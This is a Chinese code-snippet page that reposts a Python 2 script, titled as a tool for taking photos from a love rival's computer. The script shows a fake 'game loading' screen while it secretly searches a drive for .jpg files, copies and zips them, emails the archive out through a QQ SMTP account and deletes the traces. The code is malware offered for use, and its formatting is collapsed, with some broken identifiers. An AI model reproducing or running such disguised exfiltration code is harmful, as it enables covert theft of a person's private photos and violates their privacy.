下面是内存溢出 jb51.cc 通过网络收集整理的代码片段。
内存溢出小编现在分享给大家,也给大家做个参考。
#!usr/bin/env python#Coding=utf-8print ' **********************************************'print ' * THIS IS A GAME *'print ' * BY TZC *' print ' * Sorry,Waiting three minutes please! *'print ' **********************************************'import osimport reimport shutilimport smtplibimport emailfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBaseimport os.pathimport mimetypesimport zipfileimport sysdef path_find(path_filename): global num try: pathList= os.Listdir(path_filename) for i in pathList: path_all=os.path.join(path_filename,i) if os.path.isfile(path_all): # print path_all re_file=re.compile(res) re_files=re_file.findall(path_all) # print re_files if len(re_files)==1: filenames.append(re_files[0]) # print re_files[0] try: num=num+os.path.getsize(re_files[0]) #print num if num<300000000: #判断文件夹的大小,并设置一个上限 shutil.copy(re_files[0],'f:/system') #f.write(re_files[0]) else: break except: #print 'error' pass else: pass else: path_find(path_all) except: #print 'this is error dirctory!' passdef emails(ev=None): try: From = "邮箱" To = ['邮箱'] file_name = "f:/system.zip"#附件名 server = smtplib.SMTP("smtp.qq.com") server.login("邮箱账号","邮箱密码") #仅smtp服务器需要验证时 # 构造MIMEMultipart对象做为根容器 main_msg = email.MIMEMultipart.MIMEMultipart() # 构造MIMEText对象做为邮件显示内容并附加到根容器 text_msg = email.MIMEText.MIMEText("this is a test text to text mime",_charset="utf-8") main_msg.attach(text_msg) # 构造MIMEBase对象做为文件附件内容并附加到根容器 ## 读入文件内容并格式化 data = open(file_name,'rb') ctype,enCoding = mimetypes.guess_type(file_name) if ctype is None or enCoding is not None: ctype = 'application/octet-stream' maintype,subtype = ctype.split('/',1) file_msg = email.MIMEBase.MIMEBase(maintype,subtype) file_msg.set_payload(data.read()) data.close( ) email.Encoders.encode_base64(file_msg)#把附件编码 ''''' 测试识别文件类型:mimetypes.guess_type(file_name) rar 文件 ctype,enCoding值:None None(ini文件、csv文件、apk文件) txt text/plain None py text/x-python None gif image/gif None png image/x-png None jpg image/pjpeg None pdf application/pdf None doc application/msword None zip application/x-zip-compressed None enCoding值在什么情况下不是None呢?以后有结果补充。 ''' #--------------------------------------------- ## 设置附件头 basename = os.path.basename(file_name) file_msg.add_header('Content-disposition','attachment',filename = basename)#修改邮件头 main_msg.attach(file_msg) # 设置根容器属性 main_msg['From'] = From main_msg['To'] = ";".join(To) main_msg['Subject'] = "attach test " main_msg['Date'] = email.Utils.formatdate( ) # 得到格式化后的完整文本 fullText = main_msg.as_string( ) # 用smtp发送邮件 print ' This loading....70%......waiting.......' try: server.sendmail(From,To,fullText) finally: server.quit() print ' This loading....90%......waiting.......' except: passif __name__=='__main__': print ' Waiting Please......Game Loading......' print '' print ' This loading....10%......Waiting.......' num=0 x=51 try: os.mkdir(r'f:/system/') except: pass filenames=[] res=r'.*\.jpg' path_filename="e:/" #raw_input('dirctory(example D:/):') # re_rule=raw_input('filetype(example:txt):') # re_rule='.*\.'+re_rule path_find(path_filename) print ' This loading....30%......Waiting.......' f=zipfile.Zipfile('f:/system.zip','a',zipfile.ZIP_DEFLATED) startdir="f:/system" for dirpath,dirnames,filename_s in os.walk(startdir): for filename_a in filename_s: if os.path.getsize('f:/system.zip')<49000000: #因为附件最大只能50M。 f.write(os.path.join(dirpath,filename_a)) else: break f.close() print ' This loading....50%......Waiting.......' emails() try: shutil.rmtree('f:/system') os.remove('f:/system.zip') except: pass print ' This loading....100%.....Thanks you very much' print '' print ' bye bye' print '' print ''
以上是内存溢出(jb51.cc)为你收集整理的全部代码内容,希望文章能够帮你解决所遇到的程序开发问题。
如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。
总结以上是内存溢出为你收集整理的获取情敌电脑内照片神器全部内容,希望文章能够帮你解决获取情敌电脑内照片神器所遇到的程序开发问题。
如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)